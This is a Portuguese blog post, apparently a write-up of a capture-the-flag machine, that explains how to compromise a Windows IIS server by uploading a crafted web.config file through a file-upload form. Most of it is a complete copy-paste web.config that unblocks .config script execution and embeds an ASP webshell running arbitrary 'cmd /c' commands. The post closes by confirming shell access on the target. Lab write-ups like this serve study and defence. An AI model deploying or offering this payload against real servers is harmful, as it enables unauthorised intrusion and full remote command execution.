WWW.FLEPS.COM.BR

COMO INVADIR O SERVIDOR WINDOWS FAZENDO O UPLOAD DO ARQUIVO DE CONFIGURAÇÃO DA WEB

By admin at 2019-05-17 • 0 colecionador • 881 visualizações de página

Como invadir o servidor Windows fazendo o upload do arquivo de configuração da web

Neste post vou dizer-lhe como hackear o servidor windows, carregando o arquivo de configuração web.

Ambiente Atacante

Para demonstrar esse truque, eu tenho uma configuração de máquina vulnerável em execução no ip 10.10.10.93.

Esta máquina Windows hospeda um servidor web na porta 80. O servidor web implementa uma funcionalidade de upload de arquivos, que é o que vamos explorar neste post.


Agenda

Nossa agenda para este post é explorar a funcionalidade de upload de arquivos hospedada no servidor web para fazer o upload do nosso webshell. Faremos isso fazendo o upload de um arquivo web.config.

Hackeando o servidor do Windows

Para começar, tivemos uma funcionalidade de upload de arquivos no servidor da web.

Nós tentamos fazer o upload do nosso shell aspx normalmente através da funcionalidade de upload de arquivos no servidor web, mas ele falhou. Também tentamos alguns truques e técnicas bem conhecidos para contornar as restrições de arquivo, mas nada funcionou.

Finalmente tentamos fazer upload de um arquivo web.config e funcionou. Se você não está ciente do que é um arquivo de configuração web, é o principal arquivo de configuração para aplicativos baseados em ASP que armazena todas as configurações e configurações para o aplicativo da web. Você pode considerá-lo como um arquivo xml simples contendo todas as configurações para o aplicativo da web.

Depois de fazer o upload do arquivo de configuração da web, navegamos até o local em que o aplicativo estava armazenando os arquivos enviados. Aqui vemos que o código no nosso arquivo de configuração da web é executado quando ele imprime 3 na tela.

Agora que sabemos que nosso código é executado, vamos tentar obter um webshell dele. Copie e cole o texto abaixo no arquivo web.config.

<?xml version=”1.0″ encoding=”UTF-8″?>
<configuration>
<system.webServer>
<handlers accessPolicy=”Read, Script, Write”>
<add name=”web_config” path=”*.config” verb=”*” modules=”IsapiModule” scriptProcessor=”%windir%\system32\inetsrv\asp.dll” resourceType=”Unspecified” requireAccess=”Write” preCondition=”bitness64″ />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=”.config” />
</fileExtensions>
<hiddenSegments>
<remove segment=”web.config” />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>


Set oScript = Server.CreateObject(“WSCRIPT.SHELL”)
Set oScriptNet = Server.CreateObject(“WSCRIPT.NETWORK”)
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject(“WScript.Shell”)
Set objCmdExec = objshell.exec(thecommand)
end Function
%>
 
<HTML>
<BODY>
<FORM action=”” method=”GET”>
<input type=”text” name=”cmd” size=45 value=”<%= szCMD %>”>
<input type=”submit” value=”Run”>
</FORM>
<PRE>
<%= “\\” & oScriptNet.ComputerName & “\” & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables(“server_name”))%>

<b>The server’s port:</b> <%Response.Write(Request.ServerVariables(“server_port”))%>

<b>The server’s software:</b> <%Response.Write(Request.ServerVariables(“server_software”))%>

<b>The server’s software:</b> <%Response.Write(Request.ServerVariables(“LOCAL_ADDR”))%> <% szCMD = request(“cmd”) thisDir = getCommandOutput(“cmd /c” & szCMD) Response.Write(thisDir)%>

<br> </BODY> </HTML>



Nós carregamos o arquivo web.config dado acima para obter nosso shell web.

Agora que temos um web shell na máquina, vamos tentar ver o whoami .

Como você vê, sou usuário Merlin nesta máquina em particular chamada recompensa.

É isso para este post. Temos acesso à máquina e agora podemos executar qualquer comando de nossa escolha nesta máquina.


Requer login

Loading...
:79::65::p:78::57:;):77::51::D:76:
:2::icon_syria_lovely::o:75::1::):clap::71::(:70: